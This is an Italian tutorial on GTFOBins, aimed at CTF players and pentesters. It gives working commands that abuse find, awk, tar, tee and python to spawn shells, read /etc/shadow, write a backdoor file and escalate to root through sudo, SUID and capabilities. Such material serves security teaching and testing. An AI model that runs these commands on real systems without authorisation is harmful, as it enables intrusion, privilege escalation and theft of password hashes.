GTFOBins - Guida Completa
GTFOBins è un progetto collaborativo che raccoglie informazioni su binarî Unix legittimi che possono essere sfruttati da un attaccante per ottenere privilege escalation, esecuzione di comandi, accesso
GTFOBins - Guida Completa
Introduzione
GTFOBins è un progetto collaborativo che raccoglie informazioni su binarî Unix legittimi che possono essere sfruttati da un attaccante per ottenere privilege escalation, esecuzione di comandi, accesso a file, persistenza o esfiltrazione di dati, in contesti in cui la sicurezza del sistema è stata compromessa.
Il nome deriva da "GTFO" (acronimo colloquiale per "Get The F Out") e "Bins" (da binaries). È uno strumento fondamentale nella fase di post-exploitation, particolarmente utile durante la CTF, pentest interni o red team engagement.
Obiettivo
Sfruttare binari di sistema disponibili nella macchina target per:
- Escalation dei privilegi
- Esecuzione di comandi arbitrari
- Accesso alla shell
- Scrittura/lettura di file
- Accesso remoto (reverse shell o bind shell)
Requisiti
- Accesso a un sistema Unix-like (Linux, MacOS, etc.)
- Shell utente (non root)
- Conoscenza base di terminale
Come utilizzare GTFOBins
1. Verifica dei binari presenti
Identifica i binari presenti nel sistema target:
which perl python awk find vi less nmap tar bashoppure:
compgen -c | sort | uniq2. Visita il sito ufficiale
Cerca il nome del binario trovato e verifica le funzionalità disponibili (es. shell, file write, sudo, etc.).
3. Applica la tecnica suggerita
Esempio con find per ottenere una shell interattiva:
find . -exec /bin/sh \; -quitEsempio con awk:
awk 'BEGIN {system("/bin/sh")}'Categorie principali
1. Shell
Permette l'esecuzione di una shell interattiva.
Esempi:
tar -cf /dev/null file --checkpoint=1 --checkpoint-action=exec=/bin/sh
python3 -c 'import pty; pty.spawn("/bin/bash")'2. File Read
Consente la lettura arbitraria di file.
Esempio con awk:
awk 'BEGIN {while((getline<"/etc/shadow")>0) print}'3. File Write
Permette di scrivere file ovunque si abbiano permessi.
Esempio con tee:
echo "malicious script" | tee /tmp/backdoor.sh4. Sudo
Verifica di binari che possono essere eseguiti come root tramite sudo (usando sudo -l).
Esempio:
sudo tar -cf /dev/null file --checkpoint=1 --checkpoint-action=exec=/bin/sh5. Capabilities
Binari con Linux capabilities speciali assegnate, anche senza sudo o SUID.
Verifica:
getcap -r / 2>/dev/nullSe trovi:
/usr/bin/python3 = cap_setuid+epAllora puoi eseguire:
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'6. SUID
Binari con bit SUID impostato.
find / -perm -4000 -type f 2>/dev/nullVerifica se il binario è su GTFOBins e applica la tecnica suggerita.
Best Practice
- Automazione: usa script come
linpeas.shper automatizzare la ricerca di SUID, capabilities e binari interessanti.
- Scripting: conserva un piccolo script che controlla i binari disponibili e verifica in automatico se sono presenti in GTFOBins.
- Contesto: verifica sempre se i comandi funzionano nel contesto specifico (restrizioni di AppArmor, SELinux, ambienti containerizzati, etc.).
Tool correlati
- LOLBas: progetto simile per Windows (Living Off the Land Binaries and Scripts)
- LinPEAS / LinEnum: eseguono una ricognizione automatica e includono check relativi a GTFOBins
- linprivchecker: check base ma utile per SUID e cron
Conclusione
GTFOBins* è uno strumento potente per ogni red teamer o pentester. Con una conoscenza approfondita di questo strumento è possibile sfruttare le stesse funzionalità offerte dal sistema per compromettere la macchina target, senza bisogno di caricare tool esterni o exploit rumorosi.
Ricorda sempre di verificare:
- Quali binari sono presenti
- Quali permessi hai (normale, sudo, SUID, capabilities)
- Come puoi sfruttarli nel tuo contesto
Un approccio silenzioso, efficiente e nativamente supportato dal sistema operativo stesso.